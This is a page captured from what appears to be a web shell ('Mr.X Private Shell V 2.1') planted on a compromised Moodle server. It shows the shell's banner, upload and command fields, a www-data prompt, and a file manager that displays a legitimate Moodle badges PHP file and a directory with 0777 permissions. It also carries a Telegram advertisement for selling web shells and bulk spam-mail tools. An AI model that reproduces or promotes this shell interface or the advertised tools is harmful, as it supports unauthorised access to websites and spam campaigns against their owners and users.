__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Manage enabled backpacks for the site.
 *
 * @package    core_badges
 * @copyright  2019 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

namespace core_badges\output;

defined('MOODLE_INTERNAL') || die();

require_once($CFG->libdir . '/badgeslib.php');

use core_badges\external\backpack_exporter;

/**
 * Manage enabled backpacks renderable.
 *
 * @package    core_badges
 * @copyright  2019 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class external_backpacks_page implements \renderable {

    /** @var \moodle_url Badges backpacks URL. */
    protected $url;

    /** @var array List the backpacks at site level. */
    protected $backpacks = [];

    /**
     * Constructor.
     * @param \moodle_url $url
     */
    public function __construct(\moodle_url $url) {
        $this->url = $url;

        $this->backpacks = badges_get_site_backpacks();
    }

    /**
     * Export this data so it can be used as the context for a mustache template.
     *
     * @param renderer_base $output Renderer base.
     * @return stdClass
     */
    public function export_for_template(\renderer_base $output) {
        global $PAGE;

        $rownumber = 0;
        $rowcount = count($this->backpacks);

        $data = new \stdClass();
        $data->baseurl = $this->url;
        $data->backpacks = array();
        $data->sesskey = sesskey();
        foreach ($this->backpacks as $backpack) {
            $exporter = new backpack_exporter($backpack);
            $backpack = $exporter->export($output);
            $backpack->cantest = ($backpack->apiversion == OPEN_BADGES_V2);
            $backpack->canmoveup = $rownumber > 0;
            $backpack->canmovedown = $rownumber < $rowcount - 1;

            $data->backpacks[] = $backpack;
            $rownumber++;
        }

        return $data;
    }
}

Filemanager

Name Type Size Permission Actions
badge_alignments.php File 2.25 KB 0777
badge_collection.php File 2.02 KB 0777
badge_management.php File 1.4 KB 0777
badge_recipients.php File 2.05 KB 0777
badge_related.php File 2.21 KB 0777
badge_user_collection.php File 1.93 KB 0777
badgeclass.php File 6.59 KB 0777
base_action_bar.php File 3.33 KB 0777
external_backpacks_page.php File 2.53 KB 0777
external_backpacks_table.php File 2.28 KB 0777
external_badge.php File 7.32 KB 0777
issued_badge.php File 9.58 KB 0777
manage_badge_action_bar.php File 6.41 KB 0777
recipients_action_bar.php File 2.07 KB 0777
standard_action_bar.php File 3.5 KB 0777
Filemanager